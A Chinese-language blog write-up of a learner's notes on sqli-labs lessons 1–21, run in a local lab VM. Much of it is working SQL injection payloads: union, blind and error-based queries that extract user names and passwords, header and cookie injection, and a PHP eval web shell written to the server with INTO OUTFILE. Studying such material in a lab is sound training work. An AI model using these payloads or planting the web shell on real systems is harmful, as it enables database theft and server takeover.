[NOTE] sqli-labs Basic Challenges
[NOTE] sqli-labs Basic Challenges
文章目錄
- [NOTE] sqli-labs Basic Challenges
- 前言
- Less-1: GET-Error based-Single quotes–String
- Less-2: GET-Error based-Intiger based
- Less-3: GET-Error based-Single quotes with twist-String
- Less-4: GET-Error based-Double Quotes-String
- Less-5: GET-Double Injection-Single Quotes-String
- Less-6: GET-Double Injection-Double Quotes-String
- Less-7: GET-Dump into outfile-String
- Less-8: GET-Blind-Boolian Based-Single Quotes
- Less-9: GET-Blind-Time based-Single Quotes
- Less-10: GET-Blind-Time based-double quotes
- Less-11: POST-Error Based-Single quotes-String
- Less-12: POST-Error Based-Double quotes-String-with twist
- Less-13: POST-Double Injection-Single quotes-String-with twist
- Less-14: POST-Double Injection-Single quotes-String-with twist
- Less-15: POST-Blind-Boolian/time Based-Single quotes
- Less-16: POST-Blind-Boolian/Time Based-Double quotes
- Less-17: POST-Update Query-Error Based-String
- updatexml()注入
- Less-18: POST-Header Injection-Uagent field-Error based
- extractvalue()注入
- Less-19: POST-Header Injection-Referer field-Error based
- Less-20: POST-Cookie injections-Uagent field-Error based
- Less-21: POST-Dump into outfile-String
前言
針對(duì)sqli-labs靶場(chǎng)的做題筆記
環(huán)境
虛擬機(jī)環(huán)境
攻擊機(jī):kali 10.10.10.1
靶機(jī):ubuntu 10.10.10.2 小皮面板搭建Web服務(wù)
Less-1: GET-Error based-Single quotes–String
提示輸入數(shù)字參數(shù)id
正常輸入1,我是個(gè)dumb
輸入',報(bào)錯(cuò)了,順便知道用了limit 0,1限制輸出
輸入?id=' or '1'='1,回顯dumb,字符型注入
?id=1' order by 3 %23,得出字段數(shù)為3
?id=' union select 1,2,3 %23,得到回顯第2、3個(gè)字段:
然后就可以對(duì)第2、3個(gè)字段進(jìn)行修改,提取我們感興趣的信息
?id=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
提取當(dāng)前數(shù)據(jù)庫中的所有表名
?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
提取users表中的所有字段名
?id=' union select 1,group_concat(username),group_concat(password) from users %23
提取users表中的所有用戶名和對(duì)應(yīng)的密碼
Less-2: GET-Error based-Intiger based
和Less-1差不多,只是換成了數(shù)字型注入
信息獲取把id對(duì)應(yīng)的參數(shù)換成不存在的即可
Less-3: GET-Error based-Single quotes with twist-String
正常輸入?id=1,沒啥
輸入?id=’,報(bào)這種錯(cuò):
猜測(cè)查詢結(jié)構(gòu)類似為where id = (‘ $XXX ’)
輸入?id=’) or 1=1 %23驗(yàn)證,發(fā)現(xiàn)也回顯正常了
?id=') order by 4 %23報(bào)錯(cuò),得回顯字段數(shù)為3
?id=') union select 1,2,3 %23
下面略
Less-4: GET-Error based-Double Quotes-String
常規(guī)測(cè)試
/?id=',什么都沒報(bào)錯(cuò)
/?id=",報(bào)錯(cuò)如下:
/?id=” or 1=1 %23,報(bào)錯(cuò)如下:
/?id=”) or 1=1 %23,正常回顯
猜測(cè)查詢結(jié)構(gòu)類似為where id = (“ $XXX ”)
?id=") order by 4 %23
?id=") union select 1,2,3 %23
?id=") union select 1,database(),3 %23
?id=") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
?id=") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23
?id=") union select 1,group_concat(username),group_concat(password) from users %23
Less-5: GET-Double Injection-Single Quotes-String
常規(guī)測(cè)試
?id=1,顯示“you are in”
?id=99,啥也沒顯示
?id=’
?id=’ or ‘1’=’1
好像和之前的也沒啥區(qū)別?繼續(xù)?id=1’ order by 3 %23,回顯了:
?,繼續(xù)嘗試,得到返回字段數(shù)為3,進(jìn)一步?id=' union select 1,2,3 %23:
繼續(xù)?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
繼續(xù)?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
繼續(xù)?id=' union select 1,group_concat(username),group_concat(password) from users %23
搞定了,What‘s the differences??
上網(wǎng)了解double injection,原來是雙查詢注入
重新嘗試
?id=1' union select 1, concat((select database()), floor(rand(14)*2)) as c, count(*) from information_schema.tables group by c %23
報(bào)錯(cuò)啊啊啊啊啊啊啊
首先是說什么兩個(gè)數(shù)據(jù)庫的字符集不同,然后又說什么
麻了,看多幾遍這兩個(gè)文章當(dāng)會(huì)了得了:
MySQL中Double Injection原理淺析
sqli-labs level5-6 雙查詢注入
Less-6: GET-Double Injection-Double Quotes-String
呃,聽說和Less-5一樣,只是單引號(hào)變成了雙引號(hào)
Less-7: GET-Dump into outfile-String
/?id=1
outfile?啥?
?id=‘
詳細(xì)報(bào)錯(cuò)也沒了
然后發(fā)現(xiàn)不管是單雙引號(hào)加上括號(hào)都不好使了
(其實(shí)是要讓前面為真,然后才跟or)
/?id=1、/?id=1’、/?id=1”
一三可以,二不行,字符型注入(測(cè)試不夠全面)
嘗試/?id=1” order by 9 %23,發(fā)現(xiàn)也能顯示you are in,不對(duì)勁
原來存在括號(hào),而且是單引號(hào)包起來的變量,需要探測(cè)出來
/?id=1’)),顯示you are in
order by探測(cè)字段數(shù):?id=1')) order by 3 %23
?id=')) union select 1,2,3 %23,發(fā)現(xiàn)也只是顯示you are in,看來是不會(huì)在頁面顯示信息了
于是百度dump into outfile
MySQL的outfile函數(shù)用于將查詢結(jié)果寫入到服務(wù)器文件中
因?yàn)樯婕暗皆诜?wù)器上寫入文件,所以上述函數(shù)能否成功執(zhí)行受到參數(shù)secure_file_priv 的影響
然后到靶機(jī)中的my.cnf配置中新增了secure_file_priv=
這樣就可以不限制上傳位置了
?id=1')) union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' %23
雖然還是會(huì)顯示有語法錯(cuò)誤,但是實(shí)際上已經(jīng)上傳文件了(前提是要有對(duì)目標(biāo)文件夾的寫入權(quán)限(一般/tmp/會(huì)有,這里我臨時(shí)改了/www/的權(quán)限))
然后蟻劍鏈接,只獲得了/www/sqli-labs-master/的權(quán)限
Less-8: GET-Blind-Boolian Based-Single Quotes
基于布爾的盲注
/?id=1行、/?id=1‘不行、/?id=1”行——字符型單引號(hào)注入
/?id=1' order by 4 %23判斷字段數(shù)為3
?id=' union select 1,2,3 %23發(fā)現(xiàn)也只是顯示you are in,盲注
猜解當(dāng)前數(shù)據(jù)庫名長度
/?id=' or (length(database())=8) %23
猜解數(shù)據(jù)庫名
第一個(gè)字符
/?id=' or (ascii(substr(database(),1,1))<=90) %23不對(duì)
/?id=' or (ascii(substr(database(),1,1))<=122) %23對(duì)
說明第一個(gè)字符為小寫字母(則很有可能全部字符都是小寫字母)
二分法猜字母
/?id=' or (ascii(substr(database(),1,1))<=109) %23不對(duì)
/?id=' or (ascii(substr(database(),1,1))<=115) %23對(duì)
/?id=' or (ascii(substr(database(),1,1))<=112) %23不對(duì)
字符為113-115,逐個(gè)試
/?id=' or (ascii(substr(database(),1,1))=115) %23對(duì)
第一個(gè)字符為‘s‘
第二個(gè)字符
基于第一個(gè)字符的經(jīng)驗(yàn),猜測(cè)為小寫字母
/?id=' or (ascii(substr(database(),2,1))<=109) %23對(duì)
/?id=' or (ascii(substr(database(),2,1))<=103) %23對(duì)
/?id=' or (ascii(substr(database(),2,1))<=100) %23不對(duì)
字符為101-103,逐個(gè)試
/?id=' or (ascii(substr(database(),2,1))=101) %23對(duì)
第二個(gè)字符為‘e‘
逐步猜解出數(shù)據(jù)庫名為’security’
驗(yàn)證,/?id=' or (database()='security') %23對(duì)
猜解數(shù)據(jù)庫中表的數(shù)量
/?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=3) %23不對(duì)
/?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=4) %23對(duì)
說明當(dāng)前數(shù)據(jù)庫中表的數(shù)量為4
(其實(shí)不用猜數(shù)據(jù)庫名?)
猜解數(shù)據(jù)庫中表名的長度
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=5) %23不對(duì)
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=6) %23對(duì)
說明第一個(gè)表名的長度為6
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=7) %23不對(duì)
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=8) %23對(duì)
說明第二個(gè)表名的長度為8
猜解數(shù)據(jù)庫中的表名
猜表名很可能和數(shù)據(jù)庫名一樣是全小寫
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=109) %23對(duì)
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=103) %23對(duì)
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=100) %23錯(cuò)
字符為101-103,逐個(gè)試
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) %23對(duì)
第一個(gè)字符為‘e‘
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109) %23對(duì)
第二個(gè)字符為‘m‘
逐步猜出第一個(gè)表名為‘emails‘
或者猜出前兩三個(gè)字符,配合長度為5,可以直接猜是‘emails‘
驗(yàn)證,/?id=' or ((select table_name from information_schema.tables where table_schema=database() limit 0,1)='emails') %23對(duì)
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114) %23對(duì)
第一個(gè)字符為‘r’
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101) %23對(duì)
第二個(gè)字符為‘e’
逐步猜出第二個(gè)表名為‘referers’
猜解users表的字段數(shù)
?id=' or ((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3) %23對(duì)
users有3個(gè)字段
猜解users表每個(gè)字段名的長度
/?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)))=2) %23對(duì)
第一個(gè)字段名長2
/?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1)))=8) %23對(duì)
第二個(gè)字段名長8
逐步猜解三個(gè)字段名依次長2、8、8
猜解users表的每個(gè)字段名
/?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105) %23對(duì)
第一個(gè)字符為‘i’
完整名字是‘id’
/?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=112) %23對(duì)
第一個(gè)字符為‘p’
第二個(gè)字符為‘a(chǎn)’
結(jié)合長度為8,表名為‘users’,猜測(cè)為‘password’
驗(yàn)證,/?id=' or ((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)='password') %23對(duì)
猜解username字段中值的數(shù)量
/?id=' or ((select count(username) from users)=13) %23對(duì)
有13個(gè)用戶
猜解最后一個(gè)用戶名的長度
/?id=' or (length(substr((select username from users limit 12,1),1))=6) %23對(duì)
最后一個(gè)用戶名長6
猜解最后一個(gè)用戶名
這里需要注意的是,不要默認(rèn)是全小寫了,因?yàn)槭怯脩裘?#xff0c;首字母大寫或者是數(shù)字或者是別的情況都有可能
/?id=' or ((ascii(substr((select username from users limit 12,1),1,1)))=97) %23對(duì)
第一個(gè)字符為‘a(chǎn)’
/?id=' or ((ascii(substr((select username from users limit 12,1),2,1)))=100) %23對(duì)
第二個(gè)字符為‘d’
第三個(gè)字符為‘m’
第四個(gè)字符為‘i’
第五個(gè)字符為‘n’
/?id=' or ((ascii(substr((select username from users limit 12,1),6,1)))=52) %23
第六個(gè)字符為‘4’
最后一個(gè)用戶名為‘a(chǎn)dmin4’
最后給出一些直接猜測(cè)常用表名、字段名的方法
直接猜表名
/?id=' or ((select count(*) from information_schema.tables where table_name='users' and table_schema=database())=1) %23對(duì)
當(dāng)前數(shù)據(jù)庫中存在users表
直接猜字段名
/?id=' or ((select count(*) from information_schema.columns where column_name='username' and table_name='users')=1) %23
users表中存在username字段
直接猜字段值
/?id=' or ((select count(*) from users where username='admin')=1) %23
users表中存在admin用戶
手工注入真丁8累,跑跑sqlmap爽一下
爽中爽!!!
Less-9: GET-Blind-Time based-Single Quotes
基于時(shí)間的盲注,完全不會(huì),先去學(xué)習(xí)一波
原來,這時(shí)候的頁面無論給id傳什么值,是對(duì)是錯(cuò)都會(huì)顯示you are in(就等于沒有任何回顯信息),這時(shí)候只能通過時(shí)間延遲來判斷有沒有注入點(diǎn)
首先是if(condition,A,B)語句,若condition成立,則返回A,否則返回B
(下面的延時(shí)時(shí)間由于個(gè)人問題設(shè)的很小,實(shí)際效果也會(huì)延時(shí)挺久的)
首先是判斷注入類型:
/?id=' or if(1=1,sleep(1),0) %23:回應(yīng)有延時(shí)
/?id=" or if(1=1,sleep(1),0) %23:回應(yīng)很快
/?id= or if(1=1,sleep(1),0) %23:回應(yīng)很快
說明是字符型注入,單引號(hào)
然后剩下的就和布爾盲注類似,只不過判斷條件放到了if語句中,成立則延時(shí)
/?id=' or if((length(database())=7),sleep(1),0) %23,回應(yīng)很快
/?id=' or if((length(database())=8),sleep(1),0) %23,有延時(shí)
說明數(shù)據(jù)庫名長度為8個(gè)字符
/?id=' or if((ascii(substr(database(),1,1))=115),0,sleep(0.5)) %23,回應(yīng)很快
說明第一個(gè)字符為‘s‘
下略
另外關(guān)于是對(duì)是錯(cuò),什么時(shí)候延時(shí)不要限得太死,例如二分法時(shí)讓錯(cuò)的延時(shí),盡量讓容易出現(xiàn)的情況延時(shí)就好
Less-10: GET-Blind-Time based-double quotes
與Less-9類似,也是字符型時(shí)間盲注,只不過是雙引號(hào)
最后用sqlmap跑跑盲注
很奇怪,Less-9可以跑,Less-10卻不行
Less-11: POST-Error Based-Single quotes-String
POST型,變成了賬號(hào)密碼登錄頁面
亂輸,我fail了
輸入‘會(huì)顯示報(bào)錯(cuò)信息:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ and password=’’ LIMIT 0,1’ at line 1
兩個(gè)都輸1' or 1=1 #,登進(jìn)去了,顯示用戶名和密碼都是dumb
字符型單引號(hào)布爾注入
發(fā)現(xiàn)一個(gè)問題,username和password在SQL語句中的判定順序需要確定一下
例如:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2 #’ and password=’’ or union select 1,2 #’ LIMIT 0,1’ at line 1
是先檢查username的,所以。。。。應(yīng)該把注入回顯放在password字段
哦,也不是,直接注第一個(gè)字段就行,我是傻逼
注POST一定要整個(gè)能夠Repeat的,像是BP、控制臺(tái)啥的,不然累死
針對(duì)第一個(gè)字段的注入結(jié)果:
Less-12: POST-Error Based-Double quotes-String-with twist
僅在用戶名字段輸入“,報(bào)錯(cuò):
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘""") and password=("") LIMIT 0,1’ at line 1
看來還有括號(hào)
uname=") or 1=1 #&passwd=&submit=Submit
完事啦:
剩下常規(guī)注入即可。。。
Less-13: POST-Double Injection-Single quotes-String-with twist
uname='&passwd=&submit=Submit,報(bào)錯(cuò):
單引號(hào)+括號(hào)
uname=') or 1=1 #&passwd=&submit=Submit,不對(duì)勁:
沒有具體字段的回顯,只顯示了正確
這就盲注了?麻了
哦哦,不是,是double injection,我是傻逼
總結(jié)一下雙重注入的適用場(chǎng)景:正確輸入無信息,結(jié)構(gòu)錯(cuò)誤輸入會(huì)報(bào)錯(cuò)
嘗試上面雙重注入提到的文章的方法
發(fā)現(xiàn)還是會(huì)有字符集的錯(cuò)誤,吐了
關(guān)于這題的博文
Less-14: POST-Double Injection-Single quotes-String-with twist
同上,單引號(hào)換雙引號(hào)
Less-15: POST-Blind-Boolian/time Based-Single quotes
盲注,只有成功、失敗/語法錯(cuò)誤兩種信息,且沒有報(bào)錯(cuò)提示
判斷出字符型單引號(hào)盲注
看一遍上面講過的流程,然后sqlmap
Less-16: POST-Blind-Boolian/Time Based-Double quotes
同上,單引號(hào)變成了雙引號(hào)+括號(hào)
sqlmap跑不出?
試試–level 5 --risk 3最高級(jí)別探測(cè)——成啦
Less-17: POST-Update Query-Error Based-String
啥玩意,更新注入?
頁面變成了輸入了“用戶名”和“新密碼”,改密碼的意思嗎?
而且還有個(gè)“[PASSWORD RESET]”字段顯示
先試試常規(guī)注入,隨便輸個(gè)雙一,被罵了5555555
然后試試用戶名admin,密碼欒樹,成功了,說明admin用戶存在,還被我們改了密碼?
登入到網(wǎng)站后臺(tái),發(fā)現(xiàn)密碼還真被改了
那么怎么脫褲呢?
這是MySQL的更新語句,猜測(cè)應(yīng)該是類似于下面這種:
UPDATE table SET pwd='XX′WHEREusername=’XX' WHERE username=’XX′WHEREusername=’XXX’;
那我是不是可以產(chǎn)生設(shè)置pwd之后注釋掉后面的語句,把所有用戶的密碼都改成我想要的?
試試輸入用戶名admin,新密碼輸入123’ #
登入后臺(tái),發(fā)現(xiàn)還真全被改了:
這種漏洞應(yīng)該可以用在“找回密碼->設(shè)置新密碼”這種地方
所以怎么脫褲。。。。沖浪去了
原來uname字段作足了過濾,無法注入(可能是為了保證更改密碼流程的執(zhí)行)
只能在passwd字段作注入,可以使用雙重注入或updatexml()注入
passwd='or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
下面的就常規(guī)進(jìn)行
updatexml()注入
是SQL語法中的函數(shù)
UPDATEXML(XML_document, XPath_string, new_value)
參數(shù):
作用:改變文檔中符合條件的節(jié)點(diǎn)
利用updatexml函數(shù)的報(bào)錯(cuò)機(jī)制進(jìn)行注入,原理就是當(dāng)?shù)诙€(gè)參數(shù)的格式和Xpath的格式不符的時(shí)候,就會(huì)產(chǎn)生報(bào)錯(cuò),我們可以將我們的payload構(gòu)造到第二個(gè)參數(shù)中,讓其隨著報(bào)錯(cuò)信息展示到頁面上
Less-18: POST-Header Injection-Uagent field-Error based
請(qǐng)求頭注入?
發(fā)現(xiàn)首頁還真給出了我的IP信息:
那就抓包。。。。看了一圈,發(fā)現(xiàn)請(qǐng)求頭那里本身沒有IP信息,要自己加?
沖浪,發(fā)現(xiàn)有一個(gè)X-Forwarded-For字段,不就是以前偽造是管理員的CTF題嗎?
試試X-Forwarded-For:127.0.0.1,發(fā)現(xiàn)沒改到。。。。
那就先試試常規(guī)注入,發(fā)現(xiàn)也都不行
呃,沖浪
如果成功登入會(huì)發(fā)現(xiàn)會(huì)會(huì)回顯User Agent信息
那就猜注入點(diǎn)在請(qǐng)求頭中的User-Agent字段
這里要求先能正確登入,才能改User-Agent字段注入
對(duì)應(yīng)現(xiàn)實(shí)中先先注冊(cè)用戶再登錄,再注入
由于User-Agent字段是會(huì)顯示在登錄成功頁面中的,于是猜測(cè)是不是也是先獲取字段內(nèi)容,然后嵌入到顯示語句中?
開始亂改,輸入單引號(hào):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’, ‘dumb’)’ at line 1
看來有SQL語句
輸入’123213:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘123213’, ‘10.10.10.1’, ‘dumb’)’ at line 1
難道SQL報(bào)錯(cuò)的規(guī)律是從出錯(cuò)的地方一直到語句末尾?
那這個(gè)很像是插入語句。。。。(好吧其實(shí)我是看過做法了)
試試1', '123', 'hack') #:
Your User Agent is: 1’, ‘123’, ‘hack’) #
呃
沖浪,有如下的payload(updatexml注入):
' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1) or '
爆表:
' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) or '
爆字段:
' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1) or '
爆內(nèi)容:
' or updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1) or '
(注意用updatexml()只能查詢32位,要用substr函數(shù)逐段查詢)
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1) or '
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1) or '
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 64, 32), 0x7e), 1) or '
或者這種payload:
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1), '', '' ) #
猜出要插入多少段,主動(dòng)閉合,然后最后注釋
extractvalue()注入
或者另一種注入:extractvalue注入——與updatexml類似
extractvalue() :對(duì)XML文檔進(jìn)行查詢的函數(shù)
語法:extractvalue(目標(biāo)xml文檔,xml路徑)
爆庫:
' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '
爆表:
' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)) or '
' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)), '', '')#
下略
Less-19: POST-Header Injection-Referer field-Error based
請(qǐng)求頭注入——Referer字段
登陸成功后是這種東西:
Referer字段改成單引號(hào):
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’)’ at line 1
猜測(cè)是上一題的insert,嘗試', '', '')#:
Column count doesn’t match value count at row 1
emmm,看來列數(shù)有變。試出這樣子不會(huì)報(bào)錯(cuò):', '')#,看來是插入兩列
爆庫:
' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1), '')#
爆表:
' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1), '')#
爆字段:
' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1), '')#
爆內(nèi)容(注意使用substr函數(shù)分段查詢):
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1), '')#root
extractvalue()注入類似:
' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or ', '') #
下略
Less-20: POST-Cookie injections-Uagent field-Error based
cookie注入?User-Agent字段
亂登錄,好像沒啥
dumb登錄:
之后由于cookie值已保存,再次刷新也是這個(gè)頁面
抓刷新的包,發(fā)現(xiàn)有發(fā)送過去的cookie——Cookie: uname=Dumb
把uname改成dhakkan,呃,直接給出了對(duì)應(yīng)的內(nèi)容:
如何利用cookie字段脫褲?
從傳入名字會(huì)獲取密碼和id來看,猜測(cè)是類似于這樣的結(jié)構(gòu):
select password,id from users where username=$_COOKIE[‘uname’]
改單引號(hào):
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’ LIMIT 0,1’ at line 1
改成‘ or 1=1 #,通過,回顯id=1
剩下的就是常規(guī)注入了
dumb' order by 3 #
' union select 1,2,3 #——回顯3、1字段
' union select group_concat(table_name),2,database() from information_schema.tables where table_schema=database() #
下略
Less-21: POST-Dump into outfile-String
大概和Less-7差不多吧,只是GET改POST,吧
亂登沒結(jié)果
正確登入的界面和上一題差不多,但是用戶名回顯的是經(jīng)過base64加密后的結(jié)果
然后試了試常規(guī)地改cookie的uname值為單引號(hào)啥的,發(fā)現(xiàn)不太行
是不是要傳入base64加密后的cookie值?
于是傳入base64加密后的單引號(hào):Jw==
發(fā)現(xiàn)成功報(bào)錯(cuò):
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’) LIMIT 0,1’
于是傳入') or 1=1 #的base64加密,成功
下面就是常規(guī)注入了,只不過payload都要經(jīng)過base64加密
那么Dump into outfile呢?再次復(fù)習(xí)一遍好了
只不過這里的上傳webshell應(yīng)該也是通過cookie來注入
試試?id=') union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' #的base64編碼
呃:
Issue with your mysql: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
靶機(jī)就要有靶機(jī)的樣子,去關(guān)掉了:MySQL配置文件添加:secure_file_priv=
再次嘗試上傳,成功(有警告)
蟻劍連接,成功,但是同樣只有www用戶的權(quán)限
總結(jié)
以上是生活随笔為你收集整理的[NOTE] sqli-labs Basic Challenges的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [NOTE] 关于DNSLog平台的使用
- 下一篇: [NOTE] RESTful架构